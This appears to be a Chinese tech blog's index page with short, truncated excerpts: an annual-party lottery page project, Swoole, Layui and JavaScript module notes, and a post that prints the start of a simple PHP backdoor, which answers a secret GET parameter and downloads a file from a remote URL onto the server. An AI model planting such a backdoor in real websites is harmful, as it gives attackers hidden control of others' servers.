虎年年会抽奖网页源码分享

年会抽奖程序,乐呵乐呵哈。 抽奖名单在`js/member.js`里。 抽奖之后会动态更新中奖人员名单。 Gitee:https://gitee.com/friend-nicen/yearlottery Github:https://github.com/friend-nicen/lottery 演示地址:year.nicen.cn 最新版 演示地址:year.nicen.cn/1.2 1.2版
虎年年会抽奖网页源码分享

Swoole 学习:协程、线程、IO多路复用、PHP多进程。

回顾自己学的操作系统原理,线程分为系统级线程和用户级线程(线程是调度单位、进程是资源分配单位) 系统级:调度由操作系统控制,线程之间的切换是系统层面; 用户级:程序内的类似老大一样的程序控制着所有的线程,切换是在程序内完成,相比系统级的线程切换更快,基本不消耗资源; 不同在哪呢?系统级线程的分配的时间片(由操作系统分配的运行时间)是1比1的,创建10个就是10个量级。用户级线程则是共享着所属进程的
Swoole 学习:协程、线程、IO多路复用、PHP多进程。

Layui学习笔记,一起加油!

Layui(谐音:类 UI) 是一套开源的 Web UI 解决方案,采用自身经典的模块化规范,并遵循原生 HTML/CSS/JS 的开发方式,极易上手,拿来即用。 全局对象 layui,一切从它开始。 建立模块入口,并通过 layui.use() 方式来加载该入口文件,加载指定目录下的index.js文件内的模块。 <script> layui.config({ base: '/res
Layui学习笔记,一起加油!

JS模块化编程以及AMD、CMD规范、Webpack

先想一想,为什么模块很重要? 随着网站功能逐渐丰富,网页中的js也变得越来越复杂和臃肿,原有通过script标签来导入一个个的js文件这种方式已经不能满足现在互联网开发模式,我们需要团队协作、模块复用、单元测试等等一系列复杂的需求。 因为有了模块,我们就可以更方便地使用别人的代码,想要什么功能,就加载什么模块。 但是,这样做有一个前提,那就是大家必须以同样的方式编写模块,否则你有你的写法,我有我的
JS模块化编程以及AMD、CMD规范、Webpack

一段简单的PHP后门代码,什么都能干

这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET=="ok"){ echo 'OK'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil
一段简单的PHP后门代码,什么都能干